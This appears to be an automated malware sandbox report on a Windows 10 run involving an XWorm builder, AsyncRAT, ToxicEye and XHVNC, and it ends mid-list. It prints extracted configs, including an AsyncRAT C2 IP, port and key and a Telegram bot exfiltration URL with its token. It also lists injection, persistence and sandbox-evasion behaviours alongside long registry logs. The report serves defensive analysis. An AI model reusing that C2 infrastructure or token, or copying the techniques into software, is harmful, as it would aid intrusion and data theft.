Resubmissions
01-05-2024 04:51
240501-fhbe7sgc8w 101-05-2024 04:43
240501-fch8vsga9z 1001-05-2024 04:43
240501-fcbh1sac65 401-05-2024 04:42
240501-fb44yaga8s 101-05-2024 04:42
240501-fbt9qsac53 401-05-2024 04:41
240501-fbf24sga6x 101-05-2024 04:40
240501-fahjjsga4s 401-05-2024 04:38
240501-e9jp8aga2s 401-05-2024 04:34
240501-e67ymsfh4y 10Analysis
-
max time kernel
373s -
max time network
374s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
01-05-2024 04:43
Static task
static1
URLScan task
urlscan1
General
Malware Config
Extracted
asyncrat
1.0.7
def
37.18.62.18:8060
era2312swe12-1213rsgdkms23
-
delay
1
-
install
true
-
install_file
CCXProcess.exe
-
install_folder
%Temp%
Extracted
toxiceye
https://api.telegram.org/bot5687152406:AAFin_LYFhJGLydMgYheeUDec-2orew51aM/sendMessage?chat_id=2024893777
Signatures
-
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exepowershell.exepowershell.exeflow pid process 416 6380 powershell.exe 418 5124 powershell.exe 420 1096 powershell.exe 421 6380 powershell.exe -
Executes dropped EXE 7 IoCs
Processes:
dotnetfx45_full_setup.exeSetup.exewin-xworm-builder.exewsappx.exexworm.exexworm.exexworm.exepid process 5896 dotnetfx45_full_setup.exe 4124 Setup.exe 5372 win-xworm-builder.exe 6140 wsappx.exe 7116 xworm.exe 7040 xworm.exe 520 xworm.exe -
Loads dropped DLL 6 IoCs
Processes:
Setup.exeXHVNC.exepid process 4124 Setup.exe 4124 Setup.exe 4124 Setup.exe 4124 Setup.exe 4124 Setup.exe 5400 XHVNC.exe -
Obfuscated with Agile.Net obfuscator 1 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
Processes:
resource yara_rule behavioral1/memory/5400-1345-0x00000000064D0000-0x00000000066F4000-memory.dmp agile_net -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
Processes:
xworm.exexworm.exexworm.exedescription pid process target process PID 7116 set thread context of 5276 7116 xworm.exe AppLaunch.exe PID 7040 set thread context of 7048 7040 xworm.exe AppLaunch.exe PID 520 set thread context of 5156 520 xworm.exe AppLaunch.exe -
Drops file in Windows directory 12 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exetaskmgr.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exedescription ioc process File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\4183903823\2290032291.pri taskmgr.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri taskmgr.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\1601268389\715946058.pri taskmgr.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1568373884.pri MicrosoftEdgeCP.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 3 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exepid pid_target process target process 6308 7116 WerFault.exe xworm.exe 7068 7040 WerFault.exe xworm.exe 2172 520 WerFault.exe xworm.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
taskmgr.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
taskmgr.exeSetup.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 5920 schtasks.exe 4136 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 1328 timeout.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
-
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
chrome.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe -
Processes:
browser_broker.exeMicrosoftEdgeCP.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies data under HKEY_USERS 2 IoCs
Processes:
chrome.exedescription ioc process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133590122443368352" chrome.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\EdpDomStorage\msn.com MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 4 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 3f782425829bda01 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\History MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\www.bing.com\ = "132" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\msn.com MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\EdpDomStorage\bing.com\ = "0" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-087602 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\www.msn.com\ = "101" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 1219df29829bda01 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 20f7f63d829bda01 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\www.bing.com\ = "23" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = eeec9893829bda01 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Telligent MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = e3ea722a829bda01 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\EdpDomStorage\Total MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\Total\ = "646" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\CTLs MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 3e2ac032829bda01 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\en-US = "en-US.1" MicrosoftEdge.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
chrome.exeSetup.exewsappx.exetaskmgr.exechrome.exepid process 3244 chrome.exe 3244 chrome.exe 4124 Setup.exe 4124 Setup.exe 4124 Setup.exe 4124 Setup.exe 4124 Setup.exe 4124 Setup.exe 4124 Setup.exe 4124 Setup.exe 6140 wsappx.exe 6140 wsappx.exe 6140 wsappx.exe 6140 wsappx.exe 6140 wsappx.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 5636 chrome.exe 5636 chrome.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 3 IoCs
Processes:
XHVNC.exetaskmgr.exeOpenWith.exepid process 5400 XHVNC.exe 4104 taskmgr.exe 5444 OpenWith.exe -
Suspicious behavior: MapViewOfSection 16 IoCs
Processes:
MicrosoftEdgeCP.exepid process 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs
Processes:
chrome.exepid process 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
